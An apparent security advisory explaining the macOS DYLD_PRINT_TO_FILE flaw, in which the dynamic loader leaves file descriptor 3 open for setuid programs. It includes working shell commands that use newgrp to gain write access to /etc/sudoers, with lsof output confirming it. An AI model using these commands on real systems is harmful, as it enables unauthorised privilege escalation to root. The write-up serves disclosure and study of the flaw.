Analysis
When setting:
DYLD_PRINT_TO_FILE=/tmp/log some_command
the MacOS X dynamic loader will open /tmp/log
as a log file, i.e. with append access to potentially debug problems within the dynamic loader. This file is open with the first free file descriptor in the shell calling context which is 3.
Hence the file descriptors associations are:
0 → stdin
1 → stdout
2 → stderr
3 → /tmp/log
and within this context the process some_command
is forked.
Unfortunatly, the dynamic loader doesn't close 3. Hence the process some_command
is running with an open file it never had to open and never went through the normal filesystem access control. This may be a file to which some_command
should have no access if it normally tried to open it.
Example
For example, although newgrp
is a setuid binary it can't write on correctly protected files:
$ newgrp
$ echo '#comment' >&3
zsh: 3: bad file descriptor
this error is normal, the shell forked by newgrp
doesn't have a file descriptor
3 open, as lsof
permits to clearly see it (look at column FD for the 3):
$ lsof -p $$
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
[...]
zsh 2405 bob 0u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 1u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 2u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 5 (revoked)
[...]
But due to the lack of closing 3 in the dynamic loader:
$ DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
$ echo '#comment' >&3
$
beware: here the absence of error message means the echo
worked.
and moreover lsof
shows the hole (line 3w, which means file descriptor 3
opened with write access):
$ lsof -p $$
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
[...]
zsh 2430 bob 0u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 1u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 2u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 3w REG 1,7 1293 2034681610 /private/etc/sudoers
zsh 2430 bob 5 (revoked)
[...]
will let newgrp
write on /etc/sudoers
file were it should never had occured.
Warning
If you try this example, don't forget to clean your /etc/sudoers
afterward,
even if this example is harmless.
Its last line contains now #comment
.